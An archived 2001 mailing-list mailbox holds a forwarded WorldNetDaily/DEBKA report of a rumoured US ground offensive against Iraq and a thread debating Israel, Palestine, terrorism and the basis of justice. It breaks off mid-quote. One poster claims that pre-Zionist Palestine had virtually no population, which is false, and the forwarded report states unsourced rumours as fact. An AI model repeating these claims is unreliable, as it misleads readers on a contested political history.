From vortexb-l-request@eskimo.com Fri Aug 31 08:50:10 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id IAA32207; Fri, 31 Aug 2001 08:49:17 -0700 Resent-Date: Fri, 31 Aug 2001 08:49:17 -0700 Message-ID: <3B8FB28D.91052D20@bellsouth.net> Date: Fri, 31 Aug 2001 11:51:41 -0400 From: Terry Blanton Organization: . X-Mailer: Mozilla 4.73 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: US Ground Troups Going to Jordan Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Resent-Message-ID: <"5rlCk3.0.5t7.z7xZx"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1504 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com X-IMAPbase: 1368310814 0000000977 Status: RO X-Status: X-Keywords: X-UID: 1 Content-Length: 6019 U.S. Iraq attack to involve ground troops White House plans multi-pronged offensive against Hussein © 2001 WorldNetDaily.com An imminent U.S. attack against Iraq will not be limited to air strikes and missile barrages but involve ground forces, according to sources quoted by the DEBKA-Net-Weekly intelligence service. U.S. Marines who trained in desert warfare last month were flown to the region this week, according to the report. The Marines were trained in air landings of men, armor and artillery and in combined ground and air operations. They were told in no uncertain terms they could be called upon to move against Iraqi army forces in eastern Jordan and western Iraq. Signs in Riyadh, Kuwait, Jerusalem and Cairo point to an imminent U.S. operation. U.S. and Israeli spy satellites and planes flying over central and western Iraq last week found Scud B-1 and Scud-C missile launchers deployed at two Iraqi air bases, H-3 in the west and al-Baghdadi in the center of the country, the intelligence service reports. According to the photos, Iraq has also moved to these bases - where Iraqi armored brigades have been deployed since July - batteries of upgraded SA-6 anti-aircraft missiles of the type used to shoot down a U.S. drone this week. These improved surface-to-air missiles can hit targets flying above 23,000 feet. U.S. and Israeli reconnaissance data also revealed an increase over the past 10 days in the number of Iraqi military personnel stationed near Syrian armored headquarters in northern Syria since the end of July. Nonetheless, Washington has yet to make a final decision, and the operation could be postponed for several days, Debka reports. In the past 24 hours, Israel has passed to the United States fresh intelligence information regarding the visit to Damascus last week by Iraqi Vice President Taha Yassin Ramadan. Ramadan, who turned up suddenly for urgent talks with Syrian President Bashar Assad and Syrian military chiefs, conveyed a personal appeal from Iraqi leader Saddam Hussein to order a Hezbollah attack on Israel the moment the U.S. strikes at Iraq. Assad agreed to Saddam's request. Saddam counts on Israel being pinned down by the Hezbollah and, therefore, too busy to join the fray against Iraq. Ramadan told his Syrian hosts that Iraq, if attacked by America, would not hesitate to launch missile strikes against Saudi Arabia, Kuwait and Israel, as well as U.S. military targets in the Middle East, Red Sea and Persian Gulf. The Israelis also handed on intelligence information that the talks Palestinian foreign affairs executive Nabil Shaath held in Damascus this week centered on Syrian-Palestinian-Hezbollah collaboration in anticipation of a U.S. offensive against Iraq. Arafat's visit to the Syrian capital did not come up at all, despite reports to the contrary. Nabil Shaath, a businessman who never touches military issues, was deliberately picked by Arafat to go to Damascus to disguise his real mission. On another front, military sources report that the Egyptian Second Army exercise beginning at the Suez Canal port of Ismailia Tuesday also changed its character in the light of a possible U.S. strike against Iraq. Originally planned as a joint maneuver for the Second and Third armies, to take place in the first week of September on the west bank of the Suez canal, its first objective was to subject Israel to Egyptian political and military heat in its war with the Palestinians. Those plans changed as a consequence of last week's visit to Cairo by Gen. Tommy Franks, chief of the U.S. Central Command, to furnish the Egyptian government with information on the up and coming U.S. military operation against Iraq. So it was the Second Army, whose electronic warfare systems are more sophisticated than the Third Army's, which began maneuvers this week in the Ismailia area, along with the Egyptian air force. Those systems and intense Egyptian air activity were useful for masking U.S. air and sea transport of the aircraft and equipment required for the anti-Iraq operation. U.S. military flights passed through Egyptian air bases and U.S. air bases in the Sinai, particularly Sharm el-Sheikh. In addition to the Second Army's role in these diversionary tactics, the Third Army was put on the alert for unusual military activity in the Middle East and Persian Gulf. The highly mobile and capable Third Army has three parachute battalions and the means - some of them American - to drop them over various points in the Middle East and the Persian Gulf, at no more than three to four hours' notice. Pointers to a U.S. military operation were also heard, according to military sources, in Jerusalem and in the telephone conversations U.S. Secretary of State Colin Powell held with Israeli Prime Minister Ariel Sharon and Foreign Minister Shimon Peres in the second half of the week. Powell asked them, on behalf of President Bush, to be considerate of U.S. military activity against Iraq and display the utmost restraint in the face of Palestinian terrorist activities. That is why Sharon informed Powell of Israel's consent to withdraw its troops from Palestinian Beit Jala, notwithstanding continued Palestinian gunfire from the village against Jerusalem. Military sources say, in the light of evidence on the ground, that the next U.S. anti-Baghdad operation will differ from previous U.S. strikes. Previously, bombs, missiles and cruise missiles were deployed against Iraqi strategic targets. This time, along with planes and missiles, the brunt of the operation will be carried by U.S. Special Forces landing in eastern Jordan, western Iraq and maybe even northern Syria. They will first wipe out the Iraqi military forces stationed in Jordan and Syria, then advance and destroy the Iraqi armored forces, missiles and planes deployed in the H-3 and al-Baghdadi air bases. After that, U.S. Special Forces troops will go on to attack military targets in central Iraq and possibly, Iraqi bases around Baghdad, too. From vortexb-l-request@eskimo.com Tue Dec 4 07:28:27 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id HAA06482; Tue, 4 Dec 2001 07:25:02 -0800 Resent-Date: Tue, 4 Dec 2001 07:25:02 -0800 Message-ID: <3C0CEA79.E3283499@verisoft.com.tr> Date: Tue, 04 Dec 2001 17:23:37 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: VortexB , Nurhan Subject: Self defending right Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"cgxAc2.0.Db1.DhE3y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1505 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 2 Hi All, Bush said Israel has right to defend itself. Yes, everybody has right to defend themselves. If one intruder invade your house, your property and attack you, kill your family members, you have right to defend yourself and your property. Palestinian land West Bank is invaded and under occupation for 20 years or more. Invaders have NO RIGHT to qualify the people they occupy their land as terrorist. Terrorism is a concept valid in peace time. Innocence is also questionable in war time. In WW2, cities are bombed, even mass destruction weapons are used. That was wrong, unjustifiable unless there is no other choice. War itself is indeed unjustifiable unless there is no other choice. War is not a thing to proud of to do and to declare. Innocent people are killed in wars by armies. One can not say these armies are terrorists automatically. The reason is important and also the method and target. Otherwise releasing bombs over japan cities could be nothing than terrorism. Everybody should think precisely before labeling some party as terrorist. It should be also taken account that money is also considered as weapon, and it is indeed. So one dont need to kill people with bullets and bombs, but with economic practices. Use or control money to kill or damage opponents should be understand as act of war. If there is no declared war and the practice is directly effective on people this should be considered as terrorism, I think. Regards, hamdi ucar From vortexb-l-request@eskimo.com Fri Dec 7 19:18:51 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id TAA14378; Fri, 7 Dec 2001 19:14:43 -0800 Resent-Date: Fri, 7 Dec 2001 19:14:43 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net (Unverified) Message-Id: In-Reply-To: <3C0CEA79.E3283499@verisoft.com.tr> Date: Fri, 7 Dec 2001 21:13:32 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Self defending right Resent-Message-ID: <"DmtWi2.0.bW3.YMO4y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1506 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 3 ***{Now this post is a surprise! I was bounced off of the regular vortex group many months ago, and have received nothing since. And now I get this post from Hamdi. Very odd! Could it be that this is the first post to vortexb-l in all that period of time, and that for some reason I have only been blocked from vortex-l and not from vortexb-l? To test that theory, I'm going to reply to Hamdi, and see what happens. :-) -MJ}*** >Hi All, > >Bush said Israel has right to defend itself. ***{Yup: and he also said that "the Great Satan" has the right to defend itself. :-) -MJ}*** >Yes, everybody has right to defend themselves. If one intruder invade your >house, your property and attack you, kill your family members, you have >right to defend yourself and your property. Palestinian land West Bank is >invaded and under occupation for 20 years or more. Invaders have NO RIGHT >to qualify the people they occupy their land as terrorist. ***{The Israelis are *not* invaders. Here are the facts: (1) Palestine was a desert with a virtually zero population density until the advent of the Zionist movement, which began in the mid 19th century with the publication of a number of books advocating Jewish settlements, and actual Jewish emigrants began arriving in the 1880's to what they described as an "unpopulated wasteland." (2) As successive waves of Jewish emigrants arrived, struggled, and finally succeeded in growing crops, forming settlements, and creating a marketplace where before there had been none, impoverished Moslems began to immigrate into the region, seeking jobs and, in some cases establishing farms and businesses of their own. Bottom line: the Jews tamed the desert which the Moslems called "Palestine" and made it a worthwhile place to live, after which the waves of Moslem settlement began; hence if one group or the other is to be termed "invaders," it would have to be the Moslems, not the Jews. -Mitchell Jones}*** >Terrorism is a concept valid in peace time. Innocence is also questionable >in war time. In WW2, cities are bombed, even mass destruction weapons are >used. That was wrong, unjustifiable unless there is no other choice. War >itself is indeed unjustifiable unless there is no other choice. War is not >a thing to proud of to do and to declare. Innocent people are killed in >wars by armies. One can not say these armies are terrorists automatically. >The reason is important and also the method and target. Otherwise >releasing bombs over japan cities could be nothing than terrorism. >Everybody should think precisely before labeling some party as terrorist. ***{Terrorists declared war on the Great Satan, and now the Great Satan is kicking terrorist butt. Likewise, terrorists have declared war on Israel, and the day is fast approaching when the little Israeli pit bull will be chewing terrorist butt as well. All that will be required for that to happen is either (a) the Great Satan removes his leash, or (b) the little Israeli pit bull becomes so agitated that it breaks the leash. Either outcome, in my view, will be well and good. -MJ}*** >It should be also taken account that money is also considered as weapon, >and it is indeed. So one dont need to kill people with bullets and bombs, >but with economic practices. Use or control money to kill or damage >opponents should be understand as act of war. If there is no declared war >and the practice is directly effective on people this should be considered >as terrorism, I think. ***{Reasonable acts of retaliation are exempt from moral condemnation, even if they result in collateral damage. The reason: the initiation of force brings about a conflict of interest between the victims and those non-victims who are likely to receive the collateral damage, and, when a conflict of interest is created, it is every man for himself, with the moral responsibility resting squarely on the shoulders of the agent-the terrorists, in this case-which brought the conflict of interest into existence. -MJ}*** >Regards, > >hamdi ucar ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Sat Dec 8 06:44:06 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id GAA21150; Sat, 8 Dec 2001 06:43:13 -0800 Resent-Date: Sat, 8 Dec 2001 06:43:13 -0800 Message-ID: <3C125FF4.307C@bellsouth.net> Date: Sat, 08 Dec 2001 10:46:12 -0800 From: Terry Blanton Organization: . X-Mailer: Mozilla 3.01C-BLS20 (Win16; U) MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Self defending right References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"v6awj2.0.PA5.1SY4y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1507 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 4 Mitchell Jones wrote: > > ***{Now this post is a surprise! I was bounced off of the regular vortex > group many months ago, and have received nothing since. And now I get this > post from Hamdi. Very odd! Could it be that this is the first post to > vortexb-l in all that period of time, and that for some reason I have only > been blocked from vortex-l and not from vortexb-l? To test that theory, I'm > going to reply to Hamdi, and see what happens. :-) -MJ}*** I doubt seriously that you were blocked. I get bounced from vortex-l about once a year and simply resubscribe. Regards, Terry From vortexb-l-request@eskimo.com Sat Dec 8 07:46:48 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id HAA12741; Sat, 8 Dec 2001 07:45:56 -0800 Resent-Date: Sat, 8 Dec 2001 07:45:56 -0800 From: "xplorer" To: Subject: RE: Self defending right Date: Sat, 8 Dec 2001 22:49:49 +0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3C125FF4.307C@bellsouth.net> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal Resent-Message-ID: <"Q4n5j1.0.t63.pMZ4y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1508 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 5 Me too. This list has been dormant for a while. Anyone else still out there ? I still have a few questions if anyone cares to answer... > -----Original Message----- > From: Terry Blanton [mailto:commengr@bellsouth.net] > Sent: 2001 December 09 Sunday 01:46 > To: vortexb-l@eskimo.com > Subject: Re: Self defending right > > > Mitchell Jones wrote: > > > > ***{Now this post is a surprise! I was bounced off of the regular vortex > > group many months ago, and have received nothing since. And now I get this > > post from Hamdi. Very odd! Could it be that this is the first post to > > vortexb-l in all that period of time, and that for some reason I have only > > been blocked from vortex-l and not from vortexb-l? To test that theory, I'm > > going to reply to Hamdi, and see what happens. :-) -MJ}*** > > I doubt seriously that you were blocked. I get bounced from vortex-l > about once a year and simply resubscribe. > > Regards, > > Terry > > From vortexb-l-request@eskimo.com Sat Dec 8 08:50:35 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id IAA03479; Sat, 8 Dec 2001 08:49:38 -0800 Resent-Date: Sat, 8 Dec 2001 08:49:38 -0800 Message-ID: <3C124458.477EF80@verisoft.com.tr> Date: Sat, 08 Dec 2001 18:48:24 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: Self defending right References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"MiZzc2.0.Is.YIa4y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1509 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 6 Mitchell, Thank you for enlighten me. I dont know what is "the great Satan" specifically. Could you more explicit? Mitchell Jones wrote: > > ***{Now this post is a surprise! I was bounced off of the regular vortex > group many months ago, and have received nothing since. And now I get this > post from Hamdi. Very odd! Could it be that this is the first post to > vortexb-l in all that period of time, and that for some reason I have only > been blocked from vortex-l and not from vortexb-l? To test that theory, I'm > going to reply to Hamdi, and see what happens. :-) -MJ}*** > > >Hi All, > > > >Bush said Israel has right to defend itself. > > ***{Yup: and he also said that "the Great Satan" has the right to defend > itself. :-) -MJ}*** > From vortexb-l-request@eskimo.com Sat Dec 8 14:26:33 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id OAA25794; Sat, 8 Dec 2001 14:25:20 -0800 Resent-Date: Sat, 8 Dec 2001 14:25:20 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: In-Reply-To: <3C124458.477EF80@verisoft.com.tr> References: Date: Sat, 8 Dec 2001 16:13:51 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Self defending right Resent-Message-ID: <"_V_qj.0.tI6.FDf4y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1510 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 7 >Mitchell, > >Thank you for enlighten me. > >I dont know what is "the great Satan" specifically. Could you more explicit? ***{Islamic fundamentalists frequently refer to the United States as "the Great Satan," so I decided to try to be amusing by adopting their terminology. Sorry for the confusion. --MJ}*** >Mitchell Jones wrote: >> >> ***{Now this post is a surprise! I was bounced off of the regular vortex >> group many months ago, and have received nothing since. And now I get this >> post from Hamdi. Very odd! Could it be that this is the first post to >> vortexb-l in all that period of time, and that for some reason I have only >> been blocked from vortex-l and not from vortexb-l? To test that theory, I'm >> going to reply to Hamdi, and see what happens. :-) -MJ}*** >> >> >Hi All, >> > >> >Bush said Israel has right to defend itself. >> >> ***{Yup: and he also said that "the Great Satan" has the right to defend >> itself. :-) -MJ}*** ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Mon Dec 17 12:55:12 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id MAA17940; Mon, 17 Dec 2001 12:53:23 -0800 Resent-Date: Mon, 17 Dec 2001 12:53:23 -0800 Message-Id: <5.1.0.14.2.20011217155303.00abf9a8@pop.mindspring.com> X-Sender: jedrothwell@pop.mindspring.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 17 Dec 2001 15:53:14 -0500 To: vortexB-L@eskimo.com From: Jed Rothwell Subject: The Osama Sweepstakes Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Resent-Message-ID: <"BD32g3.0.EN4._ib7y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1511 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 8 See: http://slate.msn.com/default.aspx?id=2059711 From vortexb-l-request@eskimo.com Sat Dec 22 18:10:51 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id SAA16456; Sat, 22 Dec 2001 18:08:03 -0800 Resent-Date: Sat, 22 Dec 2001 18:08:03 -0800 Message-ID: <3C253A51.B9812C63@verisoft.com.tr> Date: Sun, 23 Dec 2001 03:58:41 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: VortexB Subject: Foundation Of Justice Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"EP3gH3.0.-04.3oJ9y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1512 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 9 In wild life there is no justice in human sense I observed so far. But still there are justifications. Wild life is based on economy, evolution require predators and preys, consumption of one life save another, so relation between predators and preys is justifiable, as long as the evolution goes on. Maybe the main difference between wild life and civilized life is the justice. Justice is not just for keep order in communities, and "order" should not be foundation of justice. Order can be kept without justice, by power and by other mechanisms as kept on nature and in wild life. So, what should be the foundation of justice? From my point point of view, life, protecting life, freedom and fundemental rights should be foundations of justice. Justice should cover rights of every living beings have some consciousness, less or more. But I observe, there are quite different considerations. In ancient times, mostly traditions are the foundation of justice. The top authority, has right to provide the justice. Islam says God is the foundation of justice. Belief system determine the rights and rules. Actually this not exactly correct. The holy book says humans (believers) SHOULD constitute their own rules cleverly under the guidelines its philosophy and ethics. Anyway, justice is belong to God. Maybe some other religions say similar things. Actually this is quite natural. Human mind require a reference for its existence, to determine is its place in the middle of other creatures. Justice is not easy to constitute while everything is relative. Maybe I am wrong to think the justice should be an absolute concept, also the freedom and ethics. It is would be too bad if there would be no way or a reason to constitute them universally. In communism, equality is foundation of justice. Justice is established as long as individuals kept under equal conditions, and equalized. In U.S., the benefit is considered as foundation of justice, now. Rights are arranged for the benefit of the system, for the profit. Money is the protector of rights. Everything is measured by money even life. If something have no money-like value, it is totally worthless. I think this NOT the consequence of the liberalist system, conceptually. I dont know much about liberalist system, but I think there is nothing wrong to offer challenges to people to improve themselves and be rewarded. If one work for benefit of the system, it can benefit from this work. But justice should be kept separated from the challange/reward system I think. The system should NOT restrict rights or criminalize an individual appearing what he/she does not in benefit of the system. What strikes me is mind of individuals appears to accept this logic (embedding benefit in justice). I observe that people favor benefit versus rights and freedom, to favor freedom and rights be assigned to power and to money but not to them naturally. This maybe because America is NOT rose historically on respecting rights and freedom, but on abuse of rights, slavery, extermination of natives and exploitation, and this is practiced up to recent times. (I am not suing any nations for past practices, history of human kind is full of shame for every nations and communities, hardly to find exceptions.) Justice should be free of benefit notion. First, benefit is subjective by its nature. One thing is in benefit of one may not be in benefit of other. Second, it is not straight forward to determine a thing is in benefit or not. It is proved may times, things appeared in benefit, were actually not and vice verse. The main reason I interested on justice in U.S. specifically is U.S. considers their laws applicable universally and practice it. Maybe most interesting subject is the state of science in the scope of benefit and freedom. If discovering truth of nature is evaluated in benefit criteria, science could not be advanced, because it is more benefitable for systems in general to "adapt" truths to themselves rather than adapt themselves to truths. So truths would be categorized as benefitable and non benefitable. This lead to conditional science. This is very unfortunate and I believe it is experienced for a long time. This is the reason of major discoveries in physics are being ignored or suppressed. Maybe the main reason of success of quantum theory to dominate the 20. century is defining truth as a statistical concept so it convince us that we never need to know the truth. :) hamdi ucar From vortexb-l-request@eskimo.com Sun Dec 23 20:47:41 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id UAA11769; Sun, 23 Dec 2001 20:45:31 -0800 Resent-Date: Sun, 23 Dec 2001 20:45:31 -0800 Message-ID: <3C26B139.C5630377@verisoft.com.tr> Date: Mon, 24 Dec 2001 06:38:17 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: VortexB Subject: Mike Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"1C0d_1.0.pt2.hBh9y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1513 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 10 Mike, Mails that I sent to your mailbox was bounced. Please give me an alternate way. hamdix From vortexb-l-request@eskimo.com Sun Dec 23 21:22:49 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id VAA20888; Sun, 23 Dec 2001 21:20:02 -0800 Resent-Date: Sun, 23 Dec 2001 21:20:02 -0800 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: mjones@pop.jump.net Message-Id: In-Reply-To: <3C253A51.B9812C63@verisoft.com.tr> Date: Sun, 23 Dec 2001 23:17:18 -0600 To: vortexb-l@eskimo.com From: Mitchell Jones Subject: Re: Foundation Of Justice Resent-Message-ID: <"kBs1s.0.E65.2ih9y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1514 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 11 Hamdi Ucar wrote: >In wild life there is no justice in human sense I observed so far. But >still there are justifications. > >Wild life is based on economy, evolution require predators and preys, >consumption of one life save another, so relation between predators and >preys is justifiable, as long as the evolution goes on. > >Maybe the main difference between wild life and civilized life is the >justice. Justice is not just for keep order in communities, and "order" >should not be foundation of justice. Order can be kept without justice, by >power and by other mechanisms as kept on nature and in wild life. > >So, what should be the foundation of justice? ***{Hamdi, I think the root of the concept of justice lies in the idea that disputes over property can be settled on the basis of reason, in the same way that disputes about facts can be settled on the basis of reason. In other words, the notion of "reasoned justice" is, in a very real way, redundant. Justice, in other words, requires that disputes over property be turned over to a neutral, reasoning arbiter--someone who has no biases that cause him to support one side or the other, and who is willing to look objectively at the evidence and evaluate it fairly. Such an arbiter will proceed in the same way that a scientist is supposed to proceed. His courtroom will be focused on the search for truth in the same sense that a scientific laboratory is supposed to be. Of course, in order for disputes about property to be settled on the basis of reason, it must be possible to find, in the real world, principles of jurisprudence that permit objective decision making. Without them, subjectivity necessarily reigns. Reasoned justice, for example, cannot be based on any sort of man-made law, because "law" is anything a sovereign or a legislature says it is--which means, more often than not, that it is ridiculous nonsense. Then what principle can form the basis of reasoned justice--i.e., of justice itself? The answer: the principle of prior claims--the notion that, in a dispute over property, the provable prior claim is the best claim. And what is a "provable prior claim"? It is the claim which, based on factual evidence, has the earliest basis. If, for example, you have lived in your home for 20 years, and a stranger invades it and kicks you out, you will be able to prove, by a preponderance of evidence, that your claim antedates his. Result: the burden of proof will be upon him to demonstrate, via a title transfer signed by you, by credible eyewitnesses, etc., that the title which was yours for a 20 year period is now his by voluntary transfer. If he can't do it, then it is you, not he, who has the provable prior claim, and the decision of a reasoning arbiter will be in your favor. That, in briefest essence, is how reasoned justice works, and with a sufficient amount of thought the principles underlying that example should become clear to you. --Mitchell Jones}*** [snip] >hamdi ucar ________________ Quote of the month: "The soldiers of militant Islam and Pan-Arabism do not hate the West because of Israel; they hate Israel because of the West. Zionism, to them, is an expression and representation of Western civilization." --Benjamin Netanyahu From vortexb-l-request@eskimo.com Mon Dec 24 11:17:51 2001 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.1a/8.8.8) id LAA13245; Mon, 24 Dec 2001 11:16:34 -0800 Resent-Date: Mon, 24 Dec 2001 11:16:34 -0800 Message-ID: <3C277D59.1F74F162@verisoft.com.tr> Date: Mon, 24 Dec 2001 21:09:13 +0200 From: hamdi ucar X-Mailer: Mozilla 4.78 [en] (Win98; U) X-Accept-Language: en-US MIME-Version: 1.0 To: VortexB Subject: Re: Foundation Of Justice References: <3C2711D5.17157B05@verisoft.com.tr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Resent-Message-ID: <"sQf-i2.0.uE3.Iyt9y"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/1515 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 12 Mitchell, Thank you for your input. As you explained, I am seeking a base for reasoning to determine rights, to determine what is justifiable and not, in a civilized world. Reasoning that you provide is binding any kind of right to "ownership". Ownership in turn, to be valid need some extra assumptions in order to determine rights of living beings. I can extend ownership to "right to use" and "exclusivity". It also require am exchange of ownership mechanism to be used. You give kind of inheritance mechanism for this. But this is not sufficient to distribute ownership. How a man acquire possession of things from his born to its later ages? Obviously some other transfer mechanism are needed. As "rights" are bind to "possession" in your logic, transfer of rights should be considered. Should all rights allowed be transferred? These require further principles which can not be extracted from concept of ownership. Exclusivity is also a problem as we naturally use shared resources in earth like O2. O2 is product of living beings capable to photosynthesis. Also the water. May the water one needs and rain are produced from others "properties". Who will own rights of the rain? So, further principles are needed to determine rights over shared resources which are not property. Even I restrict the concept of ownership to "property" in the meaning of land, it is not clear how it extend the ownership an exclusivity of the land in downward direction to the center to earth and into the sky. In other imprortant issue is use and consumption of other living beings by us. All these beings have genetic designs in their DNA. These designs are very complex and still can not be made by human capabilities. These designs are required for their existence therefor we profit on them. Who have the ownership of these designs? Not in a religious context., these beings owns and share their genetic designs with others in the mechanism of evolution. All these species had challenged with nature to carry their design to future, that is their existence. These designs are their most valuable possessions. Human existence require existence of other species, from bacteria, grass, tress,crops and animals we consume. We profit from them not because we possess them (even we farm them, we do not possess their genetic designs), but we need them for to live. I think why justice and rights should be based on necessities and "justifiable" criteria rather than ownership. And most strong argument for justification is life. May you recall I had previously referenced this genetic design ownership argument to integrate rights of other species than humans on our legal system. This is an important arguments because we have already laws and logic to protect designs like copyrights and patents. Even some biogenetic research firms have patents of genetic material like mouses that are used on experimenting human diseases on them. So it would not be hard technically include natural designs and gene pools on our copyright protecting system. As mike stated, many communities and nations have very limited notion of ownership. They have not exclusivity over resources and rights and justice is not based on possession. From these facts I can deduce the ownership is not foundation of rights and justice but ownership is a product of rights according a specific agreement over communities. > Mitchell Jones wrote: > > > > Hamdi Ucar wrote: > > > > >In wild life there is no justice in human sense I observed so far. But > > >still there are justifications. > > > > > >Wild life is based on economy, evolution require predators and preys, > > >consumption of one life save another, so relation between predators and > > >preys is justifiable, as long as the evolution goes on. > > > > > >Maybe the main difference between wild life and civilized life is the > > >justice. Justice is not just for keep order in communities, and "order" > > >should not be foundation of justice. Order can be kept without justice, by > > >power and by other mechanisms as kept on nature and in wild life. > > > > > >So, what should be the foundation of justice? > > > > ***{Hamdi, I think the root of the concept of justice lies in the idea that > > disputes over property can be settled on the basis of reason, in the same > > way that disputes about facts can be settled on the basis of reason. In > > other words, the notion of "reasoned justice" is, in a very real way, > > redundant. > > > > Justice, in other words, requires that disputes over property be turned > > over to a neutral, reasoning arbiter--someone who has no biases that cause > > him to support one side or the other, and who is willing to look > > objectively at the evidence and evaluate it fairly. Such an arbiter will > > proceed in the same way that a scientist is supposed to proceed. His > > courtroom will be focused on the search for truth in the same sense that a > > scientific laboratory is supposed to be. > > > > Of course, in order for disputes about property to be settled on the basis > > of reason, it must be possible to find, in the real world, principles of > > jurisprudence that permit objective decision making. Without them, > > subjectivity necessarily reigns. Reasoned justice, for example, cannot be > > based on any sort of man-made law, because "law" is anything a sovereign or > > a legislature says it is--which means, more often than 